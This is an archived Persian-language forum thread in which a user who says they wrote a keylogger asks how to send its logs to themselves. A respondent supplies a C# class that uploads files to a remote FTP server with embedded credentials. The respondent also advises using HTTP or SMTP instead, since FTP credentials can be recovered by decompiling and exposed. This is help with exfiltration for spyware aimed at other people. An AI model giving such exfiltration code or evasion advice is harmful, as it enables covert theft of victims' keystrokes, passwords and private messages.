PDA

View Full Version : سؤال: کار با FTP در C#



p.eon13
پنج شنبه 07 مهر 1390, 17:12 عصر
سلام دوستان

من یه کی لاگر نوشتم میخوام log هارو با ftp بفرستم. کسی میتونه راهنمایی کنه که روش کار به چه شکلی

هست؟؟

می خوام به دونم که به جای آدرس سرور چی باید بزنم و چجوری باید log ها رو بیارم تو سیستم خودم.

لطفا راهنمایی کنید.

ممنون:قلب::قلب::قلب:

Sajjad.Aghapour
جمعه 08 مهر 1390, 01:03 صبح
عجب!!!
حالا چرا FTP؟ شما اومدی یه Key Logger نوشتی که حال طرفو بگیری میخوای طرفم حال شما رو بگیره؟

میتونید از WebClient استفاده کنید. در این صورت شما با استفاده از اطلاعات Account خودتون قادر به دسترسی به FTP خواهید بود و با استفاده از متد UploadFile جهت ارتباط به صورت Sync و UploadFileAsync جهت ارتباط به صورت Async میتونید فایل log مربوطه رو به FTP ارسال کنید...

p.eon13
جمعه 08 مهر 1390, 08:44 صبح
عجب!!!
حالا چرا FTP؟ شما اومدی یه Key Logger نوشتی که حال طرفو بگیری میخوای طرفم حال شما رو بگیره؟

میشه لطف کنید بیشتر توضیح بدید؟

چطوری میتونه بفهمه؟

Sajjad.Aghapour
جمعه 08 مهر 1390, 11:25 صبح
چون کدهای شما به راحتی Reflect میشه. برای این کار هم نرم افزارهای زیادی مثل Fox وجود داره...
اما بحث سر این هست که چرا FTP وقتی پروتکل قشنگ تر و بدون دردسرتری مثل HTTP وجود داره؟! شما با لو رفتن اطلاعات این پروتکل توی همچین برنامه ای یک مشکل خواهی داشت ولی با لو رفتن اطلاعات FTP هزار تا مشکل....

برای این کار با استفاده از FTP، شما نیاز به Login دارید، مجبورید Client Side این کار رو بکنید یعنی اطلاعات در دید کاریر قرار خواهد گرفت، فایل ها رو آپلود خواهید کرد و ...
اما با استفاده از HTTP شما کافیه اطلاعات رو با استفاده از یک Query String یا یک فرم به یک صفحه در سرور بفرستید و ذخیره اطلاعات به صورت Server Side باشد که این از لحاظ امنیتی نیز به نفع شماست...

در مورد کلاس هایی که در System.Net هست تحقیق کنید..

موفق باشید/

p.eon13
جمعه 08 مهر 1390, 11:58 صبح
ممنون به خاطر راهنمایی مفیدتون.

ولی من خیلی از کیلاگر ها رو دیدم که با ftp کار میکنن. یعنی همه ی اونا این مشکل رو دارن؟

اگه ممکنه میشه روش کار هر پروتکل رو توضیح بدید. که چه مراحلی باید طی بشه تا فایل برسه به دست من.

من خیلی وارد نیستم.

Sajjad.Aghapour
جمعه 08 مهر 1390, 13:41 عصر
NET. گزینه مناسبی برای این کار نیست. هر کسی ایده مختص خودش رو برای هر کاری داره و من شخصا کار با FTP رو برای این مورد نمی پسندم. ممکنه من برای این کار از SMTP استفاده کنم یا هر پروتکل دیگه. اما هرچی باشه FTP رو نمیپسندم. شاید FTP Client هایی رو با محدودیت های خاصی بتونید Config کنید و از اون استفاده کنید ولی به هرحال دسترسی رو به یک کاربر زرنگ خواهید داد....

در مورد کار با پروتکل های دیگه ئ نحوه کار با اونها در NET. مقاله ها و مثال های زیادی در نت میتونید پیدا کنید. کافیه جستجو کنید...

موفق باشید/

خیلی وقت پیش شاید اوایل شروع برنامه نویسیم در این مورد یه کلاسی نوشته بودم. لابلای کدهام تونستم پیداش کنم...


public class FtpManager
{
private string ftpUrl;

public event UploadProgressChangedEventHandler UploadProgressChanged;
public event UploadFileCompletedEventHandler UploadFileCompleted;

public void Upload(string fileName)
{

WebClient client = new WebClient();
client.Credentials = new NetworkCredential(loginUsername, loginPass);

FileInfo fileInfo = new FileInfo(fileName);

client.UploadProgressChanged += new UploadProgressChangedEventHandler(client_UploadPro gressChanged);
client.UploadFileCompleted += new UploadFileCompletedEventHandler(client_UploadFileC ompleted);
client.UploadFileAsync(new Uri(ftpUrl + fileInfo.Name), fileName);
}

private void client_UploadProgressChanged(object sender, UploadProgressChangedEventArgs e)
{
if (this.UploadProgressChanged != null) this.UploadProgressChanged(sender, e);
}

private void client_UploadFileCompleted(object sender, UploadFileCompletedEventArgs e)
{
if (this.UploadFileCompleted != null) this.UploadFileCompleted(sender, e);
}
}

p.eon13
جمعه 08 مهر 1390, 20:02 عصر
ممنون. ولی نظرم عوض شد. می خوام رو http کار کنم.:چشمک: